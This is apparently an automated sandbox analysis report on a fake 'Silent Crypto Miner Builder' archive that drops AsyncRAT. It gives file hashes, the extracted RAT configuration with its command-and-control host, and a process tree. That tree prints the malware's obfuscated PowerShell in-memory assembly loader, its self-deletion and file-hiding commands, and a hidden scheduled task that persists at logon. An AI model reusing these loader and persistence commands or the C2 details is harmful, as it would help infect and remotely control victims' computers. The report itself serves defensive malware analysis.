Analysis

  • max time kernel
    55s
  • max time network
    61s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27-06-2024 16:12

General

  • Target

    Silent.Crypto.Miner.Builder.rar

  • Size

    81.8MB

  • MD5

    933d0f5124ce80145887ac1fa70cce22

  • SHA1

    0d18410b44a306620faa6e80ab2a1f3b454638e8

  • SHA256

    2d892e65432b58585112e78deec5750652a25249dd4f56e0fd6d47fe7804baf1

  • SHA512

    62ce1274e2ff0cf808d291ed8db92c17bcd1b1eb5caac4573a7c9cda1b88fa85958711f3f4a6f3df3092184a049dca0bd7a7d58f536e8772fddfd934ccdb99b6

  • SSDEEP

    1572864:Fd61wTAxnsyiOtrAqunqBZqx6ikncQTw5EH+tjkx6SR0thS3eb7Dt:FFTUnsHOhTPU6iknFOk+tjkx6RthOeXB

Malware Config

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

unam

C2

windowsignn.theworkpc.com:6606

Mutex

AsyncMutex_5552

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 6 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Silent.Crypto.Miner.Builder.rar
    1⤵
    • Modifies registry class
    PID:3356
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Silent.Crypto.Miner.Builder.rar"
      2⤵
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2328
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:3200
    • C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe
      "C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1524
    • C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe
      "C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4768
    • C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe
      "C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3904
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\1\Repo\bin\dll.bat" "
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe
        "C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\Desktop\1\Repo\bin\dll.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)
        2⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1636);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3952
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe" & exit
          3⤵
          • Hide Artifacts: Hidden Files and Directories
          • Suspicious use of WriteProcessMemory
          PID:3104
          • C:\Windows\system32\attrib.exe
            ATTRIB +H "C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe"
            4⤵
            • Views/modifies file attributes
            PID:5060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2340
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str.vbs"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4444
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4300
            • C:\Users\Admin\AppData\Roaming\startup_str.bat.exe
              "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\startup_str.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4672
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4672);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4424
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" & exit
                6⤵
                • Hide Artifacts: Hidden Files and Directories
                • Suspicious use of WriteProcessMemory
                PID:4344
                • C:\Windows\system32\attrib.exe
                  ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe"
                  7⤵
                  • Views/modifies file attributes
                  PID:4260
    • C:\Users\Admin\Desktop\1\Repo\bin\unam.exe
      "C:\Users\Admin\Desktop\1\Repo\bin\unam.exe"
      1⤵
      • Executes dropped EXE
      PID:3912
    • C:\Windows\System32\NOTEPAD.EXE
      "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\1\Repo\bin\dll.bat
      1⤵
      • Opens file in notepad (likely ransom note)
      PID:2812

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      df472dcddb36aa24247f8c8d8a517bd7

      SHA1

      6f54967355e507294cbc86662a6fbeedac9d7030

      SHA256

      e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

      SHA512

      06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      92b960421da14bf14cfe00469ed69130

      SHA1

      3a8d0978e53be61ed58dec0f6b2fd9d8d387633e

      SHA256

      19562f4839146d03becec53f4fb92e6ae058de7efc43b2c34f5f626f830d4108

      SHA512

      1ab578fd37d50371ad429bfc55285bd3980ef6049935ad9f4c6f68fa5b9364dda20d90581e5a1f193f0482acfffe68e2ee812df136aa8a900be11b897fb67de5

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5hphjocl.mq3.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\startup_str.vbs

      Filesize

      111B

      MD5

      371257951e09cb56fafbbda4847cbcb7

      SHA1

      6d9dab286de574a099f6fe955720a1d87484cea3

      SHA256

      bb77d873388b64bacd10df67a60d012ed4acc5b03b7fa1070584b7133fa371b3

      SHA512

      1dffef10d8f25f6df8db17d09b278701211a40497d3aa8749676aeca3426cdc63232135984e74c8abf73442d917df7288b15d93229d8090684f3acba224f9bc1

    • C:\Users\Admin\Desktop\1\Repo\bin\dll.bat

      Filesize

      382KB

      MD5

      8b1f260a182f74419011f14a8ba21a37

      SHA1

      48d8da3f5971ebd6b358b6b63491b5e68f099a6c

      SHA256

      478ca90bdf1d94b880dd18c1fd1a5b6124d4e1c4b77c546df88a0aa992aeb225

      SHA512

      509a8b51cb3922f9be6c94029abbc4611b1ce438262abc9fef414780e97d7542d214ae42866ccaf540b52e6cfef017abfc00c891643b3b81753c9f4115ad64aa

    • C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe

      Filesize

      440KB

      MD5

      0e9ccd796e251916133392539572a374

      SHA1

      eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

      SHA256

      c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

      SHA512

      e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

    • C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe

      Filesize

      139KB

      MD5

      29d9c4a6c0be4ebb665ca5f423da7bdb

      SHA1

      d22b7b928436ba4f9d7a3a40a6db20a227b57c2a

      SHA256

      d833831e38738d03ed6156ec458d3252c379cf7c9c986fcfe8626184d3bceafd

      SHA512

      114e82df03e624ef350a5c71bd05594f9075afce7a2d978ede81a9cc086a9d87fec7884b5f5e7e1b52b8a24741fdaf453033b486b87d79cc599af37162870d0d

    • memory/1524-17-0x0000023EB10E0000-0x0000023EB1102000-memory.dmp

      Filesize

      136KB

    • memory/1524-8-0x0000023EAF400000-0x0000023EAF426000-memory.dmp

      Filesize

      152KB

    • memory/1636-50-0x000001DC470F0000-0x000001DC4713A000-memory.dmp

      Filesize

      296KB

    • memory/1636-49-0x000001DC470E0000-0x000001DC470EA000-memory.dmp

      Filesize

      40KB

    • memory/3912-104-0x000002033D060000-0x000002033E060000-memory.dmp

      Filesize

      16.0MB

    • memory/4672-106-0x00000228A3A30000-0x00000228A3A46000-memory.dmp

      Filesize

      88KB

    • memory/4672-105-0x00000228A3A20000-0x00000228A3A2C000-memory.dmp

      Filesize

      48KB